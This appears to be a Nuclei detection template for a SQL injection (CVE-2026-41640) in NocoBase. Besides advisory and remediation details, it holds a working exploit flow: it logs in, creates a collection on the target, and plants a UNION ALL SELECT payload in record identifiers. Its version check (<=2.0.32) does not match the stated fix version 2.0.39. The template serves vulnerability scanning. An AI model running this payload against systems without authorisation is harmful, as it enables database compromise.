id: CVE-2026-41640

info:
  name: NocoBase - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.
  remediation:
    Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.
  reference:
    - https://github.com/advisories/GHSA-4948-f92q-f432
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2026-41640
    epss-score: 0.01875
    epss-percentile: 0.77195
    cwe-id: CWE-89
  metadata:
    max-request: 7
    verified: true
    vendor: nocobase
    product: nocobase
  tags: cve,cve2026,sqli,nocobase,sqli,authenticated

flow: http(1) && http(2) && http(3) || http(4)

variables:
  cname: "{{to_lower(rand_base(8))}}"

http:
  - raw:
      - |
        POST /api/auth:signIn HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"account":"{{username}}","password":"{{password}}"}

    extractors:
      - type: regex
        name: token
        part: body
        internal: true
        regex:
          - '"token":"([^"]+)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/collections:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"name":"{{cname}}","tree":"adjacencyList","fields":[{"name":"id","type":"string","primaryKey":true,"interface":"input"},{"name":"title","type":"string","interface":"input"},{"name":"parent","type":"belongsTo","target":"{{cname}}","foreignKey":"parentId","targetKey":"id","treeParent":true},{"name":"children","type":"hasMany","target":"{{cname}}","foreignKey":"parentId","sourceKey":"id","treeChildren":true}]}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"safe_root","title":"Root Node"}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1","title":"injection","parentId":"safe_root"}

      - |
        POST /api/{{cname}}:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"id":"leaf_node","title":"leaf","parentId":"safe_root') UNION ALL SELECT CAST(version() AS integer)::text, NULL::text WHERE ('1'='1"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /api/{{cname}}:list?appends[]=parent(recursively%3Dtrue)&pageSize=100 HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains(body, "invalid input syntax for type integer")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api/app:getInfo"

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '"version":"(.*?)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"dialect\"", "\"version\"")'
          - 'compare_versions(version, "<=2.0.32")'
        condition: and
# digest: 4a0a00473045022100dd549358e1e79037e5a862b8809e500c9891fe57a3e48f767ff09b0a0d86ec7302205bdc38de9212b2b4fee4d00a68bad56f762767bc63bab652eb079c5d643b6d61:922c64590222798bb761d5b6d8e72950